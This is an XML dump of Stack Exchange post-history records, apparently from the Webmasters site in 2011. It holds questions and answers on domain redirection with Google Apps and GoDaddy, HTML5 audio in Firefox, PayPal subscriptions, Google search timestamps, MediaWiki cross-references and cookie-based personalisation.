  <row Id="43219" PostHistoryTypeId="2" PostId="17880" RevisionGUID="f489c30c-8f07-4607-a923-522e20c3559c" CreationDate="2011-08-06T17:13:14.933" UserDisplayName="Alex R" Text="I know how to do this in an Apache2 conf file and my own DNS configuration... But here I'm forced to host the site at Google Apps and the DNS at Goddady.com. What's the easiest way to alias example.com to www.example.com in this situation? I'm sure I need a forwarding mechanism. Without introducing an intermediary Apache server just for this purpose, if at all possible.." />
  <row Id="43220" PostHistoryTypeId="1" PostId="17880" RevisionGUID="f489c30c-8f07-4607-a923-522e20c3559c" CreationDate="2011-08-06T17:13:14.933" UserDisplayName="Alex R" Text="When using Google Sites with a Godaddy domain, how do you alias example.com to www.example.com?" />
  <row Id="43221" PostHistoryTypeId="3" PostId="17880" RevisionGUID="f489c30c-8f07-4607-a923-522e20c3559c" CreationDate="2011-08-06T17:13:14.933" UserDisplayName="Alex R" Text="&lt;google-apps&gt;&lt;godaddy&gt;" />
  <row Id="43222" PostHistoryTypeId="2" PostId="17882" RevisionGUID="7eab031c-a78a-4c87-be1a-7af05a99c2f3" CreationDate="2011-08-06T17:48:48.447" UserId="4064" Text="With Google Analytics You can implement event tracking, that's what you need, with events you can track clicks on internal sections (banners, flash, file downloads) and you wont mess with campaigns.&#xD;&#xA;Check it out [Google Analytics Event Tracking][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/eventTrackerOverview.html" />
  <row Id="43223" PostHistoryTypeId="2" PostId="17883" RevisionGUID="13762142-27a8-47ba-ba79-d58403c90fa1" CreationDate="2011-08-06T17:55:19.640" UserId="9010" Text="I am trying to implement background music on a website using the audio object, which is controlled by a javascript, &#xD;&#xA;[I have posted a question about this before,][1] @LazyOne explained that IIS will not serve unknown MIME types, and neither will the VS development server. I have now uploaded the site to an IIS 7 server, the MIME type for ogg is in place and when the site in accessed the server returns a 206 partial content ([mozilla.org][2] mentions that 206 responses are normal and expected for ogg files) and assessing the file directly works fine in firefox (i.e. if you go to domain.com/music/file.ogg, it plays in the browser).  and the file plays fine in the background if the autoplay attribute is set, but &lt;b&gt;it does not play via javascript&lt;/b&gt;.&#xD;&#xA;&#xD;&#xA;Here is the javascript in question and relevant html:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    audioMusic.volume = 0.15;&#xD;&#xA;    &#xD;&#xA;    function playMusic(){   &#xD;&#xA;    &#xD;&#xA;    audioMusic.play();&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function stopMusic(){&#xD;&#xA;    &#xD;&#xA;    audioMusic.pause();&#xD;&#xA;             &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;relevant html, took out more than less than signs because otherwise it doesn't show in preview:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;     audio id=&quot;audioMusic&quot; loop=&quot;loop&quot; preload=&quot;auto&quot;&#xD;&#xA;       source src=&quot;/Music/behind_you.ogg&quot; type=&quot;audio/ogg&quot; /&#xD;&#xA;       source src=&quot;/Music/behind_you.mp3&quot; type=&quot;audio/mp3&quot; / &#xD;&#xA;      &#xD;&#xA;      /audio&#xD;&#xA;&#xD;&#xA;links:&#xD;&#xA;&#xD;&#xA;    area ... href=&quot;javascript:void(0)&quot; onclick=&quot;playMusic()&quot;/&#xD;&#xA;    &#xD;&#xA;    area ... href=&quot;javascript:void(0)&quot; onclick=&quot;stopMusic()&quot;/&#xD;&#xA;&#xD;&#xA;The coordinates of the image map are not that important so i took them out.&#xD;&#xA;&#xD;&#xA;More interesting facts: &#xD;&#xA;&#xD;&#xA; - the playMusic() function is called in firefox, if you add an alert&#xD;&#xA;   at the beginning it does off, but it is not able to execute:&#xD;&#xA;   audioMusic.play()&#xD;&#xA; - I have also tried document.getElementById(&quot;audioMusic&quot;).play();  &#xD;&#xA; - Both document.getElementById(&quot;audioMusic&quot;).play() and&#xD;&#xA;   audioMusic.play() work in Chrome and IE, but not in firefox&#xD;&#xA; - I am using Firefox 5.0.1 (the latest)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Question: how to control the audio element via javascript in Firefox? &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/17604/javascript-control-of-audio-not-working-in-firefox-works-in-chrome&#xD;&#xA;  [2]: https://developer.mozilla.org/en/Configuring_servers_for_Ogg_media" />
  <row Id="43224" PostHistoryTypeId="1" PostId="17883" RevisionGUID="13762142-27a8-47ba-ba79-d58403c90fa1" CreationDate="2011-08-06T17:55:19.640" UserId="9010" Text="Using &lt;audio&gt; in firefox with javascript" />
  <row Id="43225" PostHistoryTypeId="3" PostId="17883" RevisionGUID="13762142-27a8-47ba-ba79-d58403c90fa1" CreationDate="2011-08-06T17:55:19.640" UserId="9010" Text="&lt;javascript&gt;&lt;html5&gt;&lt;firefox&gt;&lt;audio&gt;" />
  <row Id="43226" PostHistoryTypeId="25" PostId="17875" RevisionGUID="d7bef578-90a8-474a-9426-edf7d10b8bf6" CreationDate="2011-08-06T18:34:10.837" Comment="http://twitter.com/#!/StackWebmasters/status/99911157535604736" />
  <row Id="43228" PostHistoryTypeId="2" PostId="17884" RevisionGUID="1512be02-f853-432a-9412-b3f9556d4244" CreationDate="2011-08-06T18:50:28.673" UserId="8945" Text="Sign into your Google Apps Dashboard, go to `Domain Settings` -&gt; `Domain Names`, from there you have the option to setup your naked domain redirection - follow the instructions presented, you will need to set up a new `'A'` record (this is one of the very rare cases in Google Apps setup which doesn't use a `'CNAME'` record)." />
  <row Id="43229" PostHistoryTypeId="2" PostId="17885" RevisionGUID="0aecb6a1-fe2c-4f2f-ad44-9752aa197914" CreationDate="2011-08-06T19:06:31.253" UserId="9032" Text="Have you tested your HTML with W3C validator? http://validator.w3.org/&#xD;&#xA;&#xD;&#xA;Also, I believe you have to use a normal object tag to play music in firefox 5. So If I were you that would be what I would test (after having valid HTML)" />
  <row Id="43230" PostHistoryTypeId="25" PostId="17876" RevisionGUID="22cd173d-12c6-489c-8fe1-aa3062fa9ab0" CreationDate="2011-08-06T21:34:10.990" Comment="http://twitter.com/#!/StackWebmasters/status/99956456090112001" />
  <row Id="43231" PostHistoryTypeId="2" PostId="17886" RevisionGUID="448648af-3aa3-4ee6-b03d-3f7d792c6afb" CreationDate="2011-08-06T21:43:05.517" UserId="9436" Text="paypal has a huge api service, ipn and so on but I'm confused a little bit, I hope someone can help me, I have website php with register, nothing more nothing less, when you pay you register and I don't want to restrict access to any page, say your profile is facebook.com/user123, if you are not logged in, you can see the profile, if you are logged in you can do whatever you want... that's exactly what i want&#xD;&#xA;&#xD;&#xA;if i use the standard paypal subscription button, I'll have to restrict access to a url, and I don't want that, and i can't use the standard button in my existent registering form&#xD;&#xA;&#xD;&#xA;I don't know if my question is clear, I just want you to point me in the right direction, and give me the documentation which i have to read, and I'm sorry that i have to post this here but paypal forum is dead and I can't find any paypal expert to help me, I can't use sandbox because paypal has restrictions in my country so i have nowhere to play with the scripts" />
  <row Id="43232" PostHistoryTypeId="1" PostId="17886" RevisionGUID="448648af-3aa3-4ee6-b03d-3f7d792c6afb" CreationDate="2011-08-06T21:43:05.517" UserId="9436" Text="paypal subscription question" />
  <row Id="43233" PostHistoryTypeId="3" PostId="17886" RevisionGUID="448648af-3aa3-4ee6-b03d-3f7d792c6afb" CreationDate="2011-08-06T21:43:05.517" UserId="9436" Text="&lt;php&gt;&lt;paypal&gt;" />
  <row Id="43234" PostHistoryTypeId="2" PostId="17887" RevisionGUID="35d3d63c-9f2f-42ec-8a0a-bdc091132e00" CreationDate="2011-08-06T22:35:44.550" UserId="9438" Text="I started noticing that for some search results by google, there is a &quot;x hours ago&quot; before the description under the link. How does google determine this?&#xD;&#xA;&#xD;&#xA;There is also this link &quot;Get more results from the past 24 hours&quot;. How does this work? &#xD;&#xA;&#xD;&#xA;Is that based on last crawl timestamp? if so, how can one make google crawl a dynamic site more frequently? should we set that in HTTP headers like last-modified?" />
  <row Id="43235" PostHistoryTypeId="1" PostId="17887" RevisionGUID="35d3d63c-9f2f-42ec-8a0a-bdc091132e00" CreationDate="2011-08-06T22:35:44.550" UserId="9438" Text="Google search results now shows last updated for some results. How does it work?" />
  <row Id="43236" PostHistoryTypeId="3" PostId="17887" RevisionGUID="35d3d63c-9f2f-42ec-8a0a-bdc091132e00" CreationDate="2011-08-06T22:35:44.550" UserId="9438" Text="&lt;google-search&gt;" />
  <row Id="43237" PostHistoryTypeId="2" PostId="17888" RevisionGUID="93a4ad15-17d5-4ff5-babc-9cf17a6241d5" CreationDate="2011-08-06T23:10:48.423" UserId="9439" Text=". names or example.com can't use CNAMES,you have use an A address. If you do nslookup on ghs.google.com, it shows 3-4 IP addresses, pick any and add this as A record for example.com. It will work, with only issue being if that IP is down or changes, example.com would go down." />
  <row Id="43238" PostHistoryTypeId="17" PostId="17889" RevisionGUID="07a7fd34-2f5a-4a7b-90a2-d156851aa690" CreationDate="2011-08-06T23:38:27.997" UserId="-1" Comment="from http://stackoverflow.com/questions/6425657/mediawiki-simple-syntax-for-cross-reference-of-figures" Text="" />
  <row Id="43239" PostHistoryTypeId="17" PostId="17890" RevisionGUID="cfe0bfba-2680-4b80-b05e-854fc3ec77fd" CreationDate="2011-08-06T23:38:27.997" UserId="-1" Comment="from http://stackoverflow.com/questions/6425657/mediawiki-simple-syntax-for-cross-reference-of-figures" Text="" />
  <row Id="43240" PostHistoryTypeId="2" PostId="17890" RevisionGUID="dc5e0909-4082-4675-ae2e-4fec5a11dd00" CreationDate="2011-08-06T08:38:14.837" UserId="9561" UserDisplayName="silverstrike" Text="I don't think I get what you are trying to do. If you want to reference objects inside a page, you can give each object an ID, and form the links so they will point to the ID you you've tagged.&#xD;&#xA;&#xD;&#xA;Template page:&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;{{{ID|1}}}&quot;&gt;{{{object|2}}}&lt;/div&gt;&#xD;&#xA;&#xD;&#xA;On relevant pages:&#xD;&#xA;&#xD;&#xA;    {{obj|cool_table|image}}&#xD;&#xA;    &#xD;&#xA;    ...some text...[[#cool_table|in figure 4]] ...rest of text...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43241" PostHistoryTypeId="2" PostId="17889" RevisionGUID="8ab15c2f-5f11-4607-835d-588bd7c37cbf" CreationDate="2011-06-21T13:03:37.827" UserId="9441" UserDisplayName="Lex Fridman" Text="I would like to reference Figures in my wiki, much like you can in LaTeX. For example, say: &quot;As you can see in Figure 3, mediawiki is awesome&quot;.&#xD;&#xA;&#xD;&#xA;I found the [CrossReference extension](http://www.mediawiki.org/wiki/Extension:CrossReference) which does what I want, however, the HTML markup for it is too verbose and does not seem to be part of the regular MediaWiki syntax.&#xD;&#xA;&#xD;&#xA;I would like to specify a Figure id inside the `[[File:bla.jpg]]` syntax for specifying images. Is this possible?" />
  <row Id="43242" PostHistoryTypeId="1" PostId="17889" RevisionGUID="8ab15c2f-5f11-4607-835d-588bd7c37cbf" CreationDate="2011-06-21T13:03:37.827" UserId="9441" UserDisplayName="Lex Fridman" Text="MediaWiki Simple Syntax for Cross Reference of Figures" />
  <row Id="43243" PostHistoryTypeId="3" PostId="17889" RevisionGUID="8ab15c2f-5f11-4607-835d-588bd7c37cbf" CreationDate="2011-06-21T13:03:37.827" UserId="9441" UserDisplayName="Lex Fridman" Text="&lt;image&gt;&lt;mediawiki&gt;&lt;markup&gt;" />
  <row Id="43244" PostHistoryTypeId="25" PostId="17656" RevisionGUID="67dd0e60-b3f2-4391-8cc4-639420f3585d" CreationDate="2011-08-07T00:34:10.917" Comment="http://twitter.com/#!/StackWebmasters/status/100001753054973953" />
  <row Id="43245" PostHistoryTypeId="25" PostId="17661" RevisionGUID="4cd52f48-2b51-481a-b311-0738ee8581b9" CreationDate="2011-08-07T03:34:11.470" Comment="http://twitter.com/#!/StackWebmasters/status/100047054197362688" />
  <row Id="43246" PostHistoryTypeId="5" PostId="17848" RevisionGUID="d655daa2-e5dd-40fc-a44e-d712f9a5ab28" CreationDate="2011-08-07T04:51:56.763" UserId="9411" Comment="my views" Text="We develop and host for many clients. I am choosing an upgrade over shared hosts, preferably a VPS. The new site should be able to deploy PHP for multiple sites. It should also support a localhost python web process (no Django/frameworks involded) (I described the details in http://stackoverflow.com/questions/6939561/most-easy-reliable-cheap-way-to-deploy-this-python-workhorse-app-with-a-php-f ).&#xD;&#xA;&#xD;&#xA;We expect ~1000 hits a day combined (and very modest spikes expected) and consequent bandwidth use of 20gb per month. &#xD;&#xA;&#xD;&#xA;So, I ask for:&#xD;&#xA;&#xD;&#xA; - latest versions of PHP, Python on a popular distro, accessible via shell&#xD;&#xA; - fair pricing at this traffic level (~10$ per month)&#xD;&#xA; - fair pricing for scaling up and good upgrade/scale options&#xD;&#xA; - GUI config for multiple sites/ server features&#xD;&#xA; - sync via SSH even over an obscure network architecture (I am told we have no &quot;public IPs&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;As a hypothetical question, which provider could help me set up a GIT/Mercurial+TRAC server the most easily? (I know there are things like Bitbucket but this seems a hypothetical challenge that corelates well)&#xD;&#xA;&#xD;&#xA;I heard good things about WebFaction and Pyrox. How will they suit my above requirements? I dont want to steer the conversation prematurely.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;I will start off from WebFaction or VPSlink which have been doing it for years, and the economics are firmly on that side and also easier for a newb. But Linode is what I choose a great upgrade for a serious site." />
  <row Id="43247" PostHistoryTypeId="5" PostId="17883" RevisionGUID="ae2500f2-528e-49ba-ab68-1e07f1ee3a0c" CreationDate="2011-08-07T05:47:03.563" UserId="8354" Comment="improved formatting" Text="I am trying to implement background music on a website using the audio object, which is controlled by a JavaScript, [I have posted a question about this before,][1] @LazyOne explained that IIS will not serve unknown MIME types, and neither will the VS development server.&#xD;&#xA;&#xD;&#xA;I have now uploaded the site to an IIS 7 server, the MIME type for ogg is in place and when the site in accessed the server returns a 206 partial content ([mozilla.org][2] mentions that 206 responses are normal and expected for ogg files) and assessing the file directly works fine in Firefox (i.e. if you go to domain.com/music/file.ogg, it plays in the browser).  and the file plays fine in the background if the autoplay attribute is set, but &lt;b&gt;it does not play via JavaScript&lt;/b&gt;.&#xD;&#xA;&#xD;&#xA;Here is the JavaScript in question and relevant html:&#xD;&#xA;&#xD;&#xA;    audioMusic.volume = 0.15;&#xD;&#xA;    &#xD;&#xA;    function playMusic(){   &#xD;&#xA;        audioMusic.play();&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function stopMusic(){&#xD;&#xA;        audioMusic.pause();&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Relevant html:&#xD;&#xA;&#xD;&#xA;    &lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;        &lt;title&gt;&lt;/title&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;playMusic()&quot;&gt;on&lt;/a&gt;&#xD;&#xA;      &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;stopMusic()&quot;&gt;off&lt;/a&gt;&#xD;&#xA;    &#xD;&#xA;     &lt;audio id=&quot;audioMusic&quot; loop=&quot;loop&quot; preload=&quot;auto&quot;&gt;&#xD;&#xA;       &lt;source src=&quot;/Music/music.ogg&quot; type=&quot;audio/ogg&quot; /&gt;&#xD;&#xA;       &lt;source src=&quot;/Music/music.mp3&quot; type=&quot;audio/mp3&quot; /&gt;   &#xD;&#xA;      &lt;/audio&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;script type=&quot;text/javascript&quot; src=&quot;/Scripts/music.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;More interesting facts: &#xD;&#xA;&#xD;&#xA; - the playMusic() function is called in firefox, if you add an alert&#xD;&#xA;   at the beginning it does off, but it is not able to execute:&#xD;&#xA;   audioMusic.play()&#xD;&#xA; - I have also tried document.getElementById(&quot;audioMusic&quot;).play();  &#xD;&#xA; - Both document.getElementById(&quot;audioMusic&quot;).play() and&#xD;&#xA;   audioMusic.play() work in Chrome and IE, but not in firefox&#xD;&#xA; - I am using Firefox 5.0.1 (the latest)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Question:** how to control the audio element via JavaScript in Firefox? &#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/17604/javascript-control-of-audio-not-working-in-firefox-works-in-chrome&#xD;&#xA;  [2]: https://developer.mozilla.org/en/Configuring_servers_for_Ogg_media" />
  <row Id="43248" PostHistoryTypeId="4" PostId="17883" RevisionGUID="ae2500f2-528e-49ba-ab68-1e07f1ee3a0c" CreationDate="2011-08-07T05:47:03.563" UserId="8354" Comment="improved formatting" Text="Using &lt;audio&gt; in Firefox with JavaScript" />
  <row Id="43249" PostHistoryTypeId="24" PostId="17883" RevisionGUID="ae2500f2-528e-49ba-ab68-1e07f1ee3a0c" CreationDate="2011-08-07T05:47:03.563" Comment="Proposed by 8354 approved by 1064 edit id of 478" />
  <row Id="43250" PostHistoryTypeId="25" PostId="17588" RevisionGUID="2d277c52-0d1b-48c1-b5b3-eacfcf7189a7" CreationDate="2011-08-07T06:34:11.693" Comment="http://twitter.com/#!/StackWebmasters/status/100092354588966912" />
  <row Id="43251" PostHistoryTypeId="2" PostId="17891" RevisionGUID="7772016d-cd30-4e44-92cf-c10cb8a3fbad" CreationDate="2011-08-07T08:24:31.997" UserId="4502" Text="Not just &quot;x hours ago.&quot; For older material, you'll see that switch to &quot;x days&quot; and eventually &quot;mmm dd yyyy&quot; format. It's a crawl timestamp, likely also more specifically the last time a cache snapshot was taken. They've &lt;a href=&quot;http://www.seroundtable.com/archives/014431.html&quot;&gt;shown these in the past&lt;/a&gt;.  &#xD;&#xA;&#xD;&#xA;As a &lt;em&gt;current&lt;/em&gt; example, since that linked item is from 2007:  &#xD;&#xA;There's a post on a site I manage that was published March 13 this year. If this were based on the publication date, then Google should obviously be showing March 13 there, or at least something very close. Instead the result shows July 07, which is the day a comment eventually got posted to the entry. &#xD;&#xA;&#xD;&#xA;It's the only comment, so crawls in the intervening months would've been essentially identical and so not worth noting/caching. It's also probably significant that I have a template set up for the site that includes the optional `lastmod` timestamp, and counts new comments as modifications to the document. Given that the page content was fixed for several months and the new crawl happened the precise day it finally got updated, I'd tend to think the sitemap was involved." />
  <row Id="43252" PostHistoryTypeId="2" PostId="17892" RevisionGUID="def2be1f-aff4-47be-a269-6dc048c1d518" CreationDate="2011-08-07T08:47:14.853" UserId="9442" Text="My web site has a download of a file of about 10Mb. I can have it stored in more than one server and was thinking of a way to offer the download to the best performing server (performance measured from the client's side, testing from the own server could lead to unreliable results as the download could go though different paths)&#xD;&#xA;&#xD;&#xA;Do you think this is realistic? I have no experience with Ajax but by what I've seen a path could be creating an XMLHttpRequest object and do some request to the server asynchronously, on receipt of a response I could update the actual download address (having a default one for the case there's no response when the user starts the download). Do you tink it's that a good idea? (and for the case I am inventing the wheel please let me know where is one ready :-)&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="43253" PostHistoryTypeId="1" PostId="17892" RevisionGUID="def2be1f-aff4-47be-a269-6dc048c1d518" CreationDate="2011-08-07T08:47:14.853" UserId="9442" Text="Choose from client best server to download from" />
  <row Id="43254" PostHistoryTypeId="3" PostId="17892" RevisionGUID="def2be1f-aff4-47be-a269-6dc048c1d518" CreationDate="2011-08-07T08:47:14.853" UserId="9442" Text="&lt;performance&gt;&lt;ajax&gt;&lt;download&gt;" />
  <row Id="43255" PostHistoryTypeId="17" PostId="17893" RevisionGUID="9a3f5a81-2405-43ca-af5a-116d4e6703d3" CreationDate="2011-08-07T09:16:31.697" UserId="-1" Comment="from http://stackoverflow.com/questions/6959415/using-js-and-cookies-to-show-different-content-on-homepage-good-or-bad-practice" Text="" />
  <row Id="43256" PostHistoryTypeId="17" PostId="17894" RevisionGUID="60dcf50a-6426-45e4-9555-067620b97b85" CreationDate="2011-08-07T09:16:31.697" UserId="-1" Comment="from http://stackoverflow.com/questions/6959415/using-js-and-cookies-to-show-different-content-on-homepage-good-or-bad-practice" Text="" />
  <row Id="43257" PostHistoryTypeId="17" PostId="17895" RevisionGUID="352fdce3-3907-4b84-8f77-e1bae720de7a" CreationDate="2011-08-07T09:16:31.697" UserId="-1" Comment="from http://stackoverflow.com/questions/6959415/using-js-and-cookies-to-show-different-content-on-homepage-good-or-bad-practice" Text="" />
  <row Id="43258" PostHistoryTypeId="2" PostId="17894" RevisionGUID="6981ce9a-c0cb-44d4-b553-2f3abf9adeca" CreationDate="2011-08-05T16:24:14.190" UserDisplayName="the Hampster" Text="I don't think its much of a concern- as long as there is no personal information.  You can also just store a token, and keep the unique stuff stored on your server.&#xD;&#xA;&#xD;&#xA;--Dave" />
  <row Id="43259" PostHistoryTypeId="2" PostId="17895" RevisionGUID="ea4d2645-740f-4d67-ab91-a9221825e035" CreationDate="2011-08-05T16:28:13.120" UserId="9448" UserDisplayName="Rikudo Sennin" Text="If you're showing information that might be personal, I won't recommend using a cookie, but using a server-side log-in mechanism.&#xD;&#xA;&#xD;&#xA;Also, if the list is too long (a cookie may only hold 4kb of data), you should be using a unique id, easily generated in PHP or in JavaScript, and save all the data on the server, then when the user's cookie is presented to the server, it'll pull out the relevant data." />
  <row Id="43260" PostHistoryTypeId="2" PostId="17896" RevisionGUID="d52bddf6-5cba-441a-a80b-54f4a6083a30" CreationDate="2011-08-05T17:39:30.533" UserDisplayName="Leopd" Text="Customizing each user's experience is one of the great things about modern websites.  Show them what they want to see!&#xD;&#xA;&#xD;&#xA;As others have mentioned, you have to be careful about security.  Not storing PII (personally identifiable information) in cookies is good practice.  Commonly people store session identifiers in cookies.  The big danger here is [sidejacking][1].  If your site is not using HTTPS, anybody can easily steal that session cookie and pretend to be another user.  If your server supports it easily (it probably doesn't) just turn on HTTPS for everybody.  Or make sure that an attacker who steals an HTTP session can't actually do anything meaningful -- switch to HTTPS before e-commerce, for example.  Use a separate secure-only session identifier.&#xD;&#xA;&#xD;&#xA;If all you're cookieing is a promotion / referral code that anybody could get, you're fine.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Session_hijacking" />
  <row Id="43261" PostHistoryTypeId="2" PostId="17893" RevisionGUID="e7629791-31f1-4fad-b731-dd11dc2bf540" CreationDate="2011-08-05T16:20:05.860" UserDisplayName="jrutter" Text="I just wanted to get everyone's opinion on this, so I've been thinking about using a cookie I set on our ecommerce site to show customers different content when they return to the website.  It is pretty simple to setup and I can set the expiration date far into the future to ensure that the cookie will present. What is everyone's thoughts?&#xD;&#xA;&#xD;&#xA;**EDIT:** Just wanted to add - no personal information is stored in the cookie, only information about the source offer. So say the customer signed up through a Walmart promotion, they would be cookied and once they come back to the site - we read the cookie and show a welcome message for walmart customers&#xD;&#xA;" />
  <row Id="43262" PostHistoryTypeId="1" PostId="17893" RevisionGUID="e7629791-31f1-4fad-b731-dd11dc2bf540" CreationDate="2011-08-05T16:20:05.860" UserDisplayName="jrutter" Text="Using js and cookies to show different content on homepage? Good or Bad Practice?" />
  <row Id="43263" PostHistoryTypeId="3" PostId="17893" RevisionGUID="e7629791-31f1-4fad-b731-dd11dc2bf540" CreationDate="2011-08-05T16:20:05.860" UserDisplayName="jrutter" Text="&lt;javascript&gt;&lt;html&gt;" />
  <row Id="43264" PostHistoryTypeId="17" PostId="17896" RevisionGUID="d1bafe8e-598d-460f-8b1a-d7b30882f1ec" CreationDate="2011-08-07T09:16:31.697" UserId="-1" Comment="from http://stackoverflow.com/questions/6959415/using-js-and-cookies-to-show-different-content-on-homepage-good-or-bad-practice" Text="" />
  <row Id="43265" PostHistoryTypeId="25" PostId="17887" RevisionGUID="dd153c15-a6f8-41af-8129-d6a576f5dd8b" CreationDate="2011-08-07T09:34:11.693" Comment="http://twitter.com/#!/StackWebmasters/status/100137652883439616" />
  <row Id="43266" PostHistoryTypeId="17" PostId="17897" RevisionGUID="a5fc5502-8e10-4bea-85c0-c9a0a8d5cb86" CreationDate="2011-08-07T09:35:42.880" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/17911/how-to-deploy-asp-net-application-with-ms-sql-server-database" Text="" />
  <row Id="43267" PostHistoryTypeId="2" PostId="17897" RevisionGUID="f8119794-d05c-4204-a737-60f08f9d366c" CreationDate="2011-08-07T06:26:34.263" UserId="9459" UserDisplayName="Maddy" Text="I want to deploy my website with MS SQL server database.  It's my first time and I have never done it before.&#xD;&#xA;&#xD;&#xA;What I have come to know from my googling is that I must have a domain(.com/.net/.co) and a host(for my web pages `.aspx` &amp; `.cs`(**confusion here if I can also deploy my database**)).&#xD;&#xA;&#xD;&#xA;Now, I am not getting to where I have to deploy my database.  If I also have to buy a seperate SQL Server database or a host consisting of every thing (means I can deploy both my ASP.NET application &amp; database as well).&#xD;&#xA;" />
  <row Id="43268" PostHistoryTypeId="1" PostId="17897" RevisionGUID="f8119794-d05c-4204-a737-60f08f9d366c" CreationDate="2011-08-07T06:26:34.263" UserId="9459" UserDisplayName="Maddy" Text="How to deploy ASP.NET application with MS SQL server database" />
  <row Id="43269" PostHistoryTypeId="3" PostId="17897" RevisionGUID="f8119794-d05c-4204-a737-60f08f9d366c" CreationDate="2011-08-07T06:26:34.263" UserId="9459" UserDisplayName="Maddy" Text="&lt;web-development&gt;" />
  <row Id="43270" PostHistoryTypeId="2" PostId="17898" RevisionGUID="7fb18e06-5eff-4fa8-92ad-f21030dab995" CreationDate="2011-08-07T10:23:39.477" UserId="7198" Text="You could use an existing content delivery network, such as [Amazon Cloudfront](http://aws.amazon.com/cloudfront/), which automatically serves the file from the nearest server to the person requesting it. (The nearest server will very often be the fastest one.)&#xD;&#xA;&#xD;&#xA;You could alternatively use a load balancing service, such as [cloud load balancers](http://www.rackspace.com/cloud/cloud_hosting_products/loadbalancers/) from Rackspace, to determine which of your download servers were under less load to serve the file from there.&#xD;&#xA;&#xD;&#xA;If you wanted to test which server was faster from the user's machine, you could fetch a small series of images of the same size from each server, and time how long it took until the images were loaded, then use the server with the lowest response time. The [episodes.js](http://stevesouders.com/episodes/index.php) JavaScript library may help with this." />
  <row Id="43271" PostHistoryTypeId="25" PostId="17892" RevisionGUID="772b7b67-9cb1-4e64-8c74-30f974bdab10" CreationDate="2011-08-07T12:34:11.610" Comment="http://twitter.com/#!/StackWebmasters/status/100182951345659904" />
  <row Id="43272" PostHistoryTypeId="2" PostId="17899" RevisionGUID="a84a4cf8-226b-4b4f-bdee-2bd2f6eb5080" CreationDate="2011-08-07T14:37:05.380" UserId="8687" Text="The site, with the warning, seems to stay in the google rankings. However, if someone clicks on that listing, they would be taken to a google warning page telling them to go no further. To get to the site you actually have to copy and past the address into your browser's location bar. This would seriously reduce the amount of traffic you get from google." />
  <row Id="43273" PostHistoryTypeId="25" PostId="17868" RevisionGUID="96a59db5-1d20-4437-8e1a-48b27b144e31" CreationDate="2011-08-07T15:34:11.767" Comment="http://twitter.com/#!/StackWebmasters/status/100228250281840640" />
  <row Id="43274" PostHistoryTypeId="5" PostId="17891" RevisionGUID="a562ff64-d44c-4311-abb1-ee3c17f12f75" CreationDate="2011-08-07T15:44:20.430" UserId="4502" Comment="Somehow dropped the sitemap ref when originally composing; fixed." Text="Not just &quot;x hours ago.&quot; For older material, you'll see that switch to &quot;x days&quot; and eventually &quot;mmm dd yyyy&quot; format. It's a crawl timestamp, likely also more specifically the last time a cache snapshot was taken. They've &lt;a href=&quot;http://www.seroundtable.com/archives/014431.html&quot;&gt;shown these in the past&lt;/a&gt;.  &#xD;&#xA;&#xD;&#xA;As a &lt;em&gt;current&lt;/em&gt; example, since that linked item is from 2007:  &#xD;&#xA;There's a post on a site I manage that was published March 13 this year. If this were based on the publication date, then Google should obviously be showing March 13 there, or at least something very close. Instead the result shows July 07, which is the day a comment eventually got posted to the entry. &#xD;&#xA;&#xD;&#xA;It's the only comment, so crawls in the intervening months would've been essentially identical and so not worth noting/caching. It's also probably significant that I have a &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156184&amp;from=40318&amp;rd=1&quot;&gt;sitemap&lt;/a&gt; template set up for the site that includes the optional `lastmod` timestamp, and counts new comments as modifications to the document. Given that the page content was fixed for several months and the new crawl happened the precise day it finally got updated, I'd tend to think the sitemap was involved." />
  <row Id="43275" PostHistoryTypeId="2" PostId="17900" RevisionGUID="6f2e8dae-187f-4eb1-82e7-37d0182f86c7" CreationDate="2011-08-07T16:04:07.773" UserId="9445" Text="https://buddycloud.org/wiki/Install will help get you started. To be clear you need to install the following components: XMPP server (this handles the federation layer), the buddycloud server (connects to the XMPP server and handles synchronisation with other nodes, permissions of followers) and the web frontend." />
